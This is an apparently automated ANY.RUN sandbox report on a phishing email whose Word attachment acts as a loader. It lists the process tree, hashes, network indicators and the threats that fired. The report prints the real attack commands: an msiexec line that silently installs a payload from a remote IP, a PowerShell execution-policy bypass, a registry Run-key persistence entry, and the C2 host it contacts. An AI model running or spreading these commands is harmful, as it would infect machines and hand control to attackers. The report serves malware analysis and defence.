File name:

sarratta@macro.com.ar_download.eml

Full analysis: https://app.any.run/tasks/15ade2a0-d6b5-4f12-b99d-82c10f72d7f7
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 18:45:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exe-to-msi
loader
Indicators:
MIME: message/rfc822
File info: RFC 822 mail, ISO-8859 text, with CRLF line terminators
MD5:

CB863163E4A104867B635F601DAAB589

SHA1:

52938F345B61E380A0D0BE5E74222D4D327799A2

SHA256:

2280BBCAA9B294574DD87FF66E86F64D1048E0BAF359134FDF8B1C539A3854C7

SSDEEP:

3072:1SohaRwrZ5z4aSohaRwrZ5z4MSCU4DhoZSQnyvPG683Y5qN:1V8UDNV8UDsehs9yvOjl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 3912)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3912)

    • Application was dropped or rewritten from another process

      • ns4D0B.tmp (PID: 3048)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3944)

    • Downloads executable files from IP

      • msiexec.exe (PID: 3732)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3732)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2172)

    • Changes the autorun value in the registry

      • reg.exe (PID: 3168)

    • Loads the Task Scheduler COM API

      • mmc.exe (PID: 3624)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • OUTLOOK.EXE (PID: 2832)
      • WINWORD.EXE (PID: 3912)

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 2832)
      • powershell.exe (PID: 2780)

    • Application launched itself

      • WINWORD.EXE (PID: 3912)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3732)
      • MSI4C02.tmp (PID: 3864)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3732)

    • Starts application with an unusual extension

      • MSI4C02.tmp (PID: 3864)

    • Starts CMD.EXE for commands execution

      • ns4D0B.tmp (PID: 3048)
      • rundll32.exe (PID: 3944)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 3656)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2496)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3912)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3912)
      • WINWORD.EXE (PID: 2952)
      • OUTLOOK.EXE (PID: 2832)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3732)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3732)

    • Loads dropped or rewritten executable

      • MSI4C02.tmp (PID: 3864)

    • Application was dropped or rewritten from another process

      • MSI4C02.tmp (PID: 3864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.eml | E-Mail message (Var. 5) (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
15
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start outlook.exe winword.exe no specs winword.exe no specs msiexec.exe no specs msiexec.exe msi4c02.tmp ns4d0b.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs reg.exe mmc.exe no specs mmc.exe

Process information

PID
CMD
Path
Indicators
Parent process
2172cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2492"C:\Windows\System32\msiexec.exe" at=c36Ik back=002 error=Continue /i http://169.239.128.104/alg /q OnExit="c:\windows\calc.exe" FW=c36Ik C:\Windows\System32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2496cmd.exe /C reg add "HKCU\SOFTWARE\microsoft\windows\currentversion\run" /v ServiceDLL /t REG_EXPAND_SZ /d "rundll32 %temp%\xmlparse.dll, sega" /fC:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2780powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2832"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\sarratta@macro.com.ar_download.eml"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
Modules
Images
c:\progra~1\micros~1\office14\outlook.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2952"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3048"C:\Users\admin\AppData\Local\Temp\nst4CFB.tmp\ns4D0B.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nst4CFB.tmp\ns4D0B.tmp—MSI4C02.tmp
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\nst4cfb.tmp\ns4d0b.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3096"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /sC:\Windows\system32\mmc.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Management Console
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mmc.exe
c:\systemroot\system32\ntdll.dll
3168reg add "HKCU\SOFTWARE\microsoft\windows\currentversion\run" /v ServiceDLL /t REG_EXPAND_SZ /d "rundll32 C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega" /fC:\Windows\system32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
3624"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /sC:\Windows\system32\mmc.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft Management Console
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mmc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mfc42u.dll
Total events
4 396
Read events
3 204
Write events
1 164
Delete events
28

Modification events

(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Resiliency\StartupItems
Operation:writeName:u;;
Value:
753B3B00100B0000010000000000000000000000
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook
Operation:writeName:MTTT
Value:
100B00003CE0E04416E0D40100000000
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionNumber
Value:
0
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionDate
Value:
219960000
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\0a0d020000000000c000000000000046
Operation:writeName:00030429
Value:
03000000
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:{ED475418-B0D6-11D2-8C3B-00104B2A6676}
Value:
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:LastChangeVer
Value:
1200000000000000
(PID) Process:(2832) OUTLOOK.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109A10090400000000000F01FEC\Usage
Operation:writeName:OutlookMAPI2Intl_1033
Value:
1316290581
Executable files
6
Suspicious files
8
Text files
35
Unknown types
9

Dropped files

PID
Process
Filename
Type
2832OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVR755.tmp.cvr —
MD5:—
SHA256:—
2832OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DF5E1174DCA3923061.TMP —
MD5:—
SHA256:—
2832OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\XN3TM6RJ\NOTA GERENCIA DE ADM (2).doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
3912WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR2424.tmp.cvr —
MD5:—
SHA256:—
3912WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_6E613591-6FC9-4700-9F96-C9F9C29CF34E.0\120A6789.doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
2832OUTLOOK.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotmpgc
MD5:—
SHA256:—
2832OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\XN3TM6RJ\NOTA GERENCIA DE ADM.docdocument
MD5:—
SHA256:—
3912WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2832OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\XN3TM6RJ\NOTA GERENCIA DE ADM (2).docdocument
MD5:—
SHA256:—
3912WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_6E613591-6FC9-4700-9F96-C9F9C29CF34E.0\120A6789.docdocument
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3732
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
3944
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
140 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3732
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious
2832
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
3944
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
3732
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3732
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1048
svchost.exe
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
3944
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
Process
Message
mmc.exe
Constructor: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
OnInitialize: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
AddIcons: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
ProcessCommandLineArguments: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
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Reports
sarratta@macro.com.ar_download.eml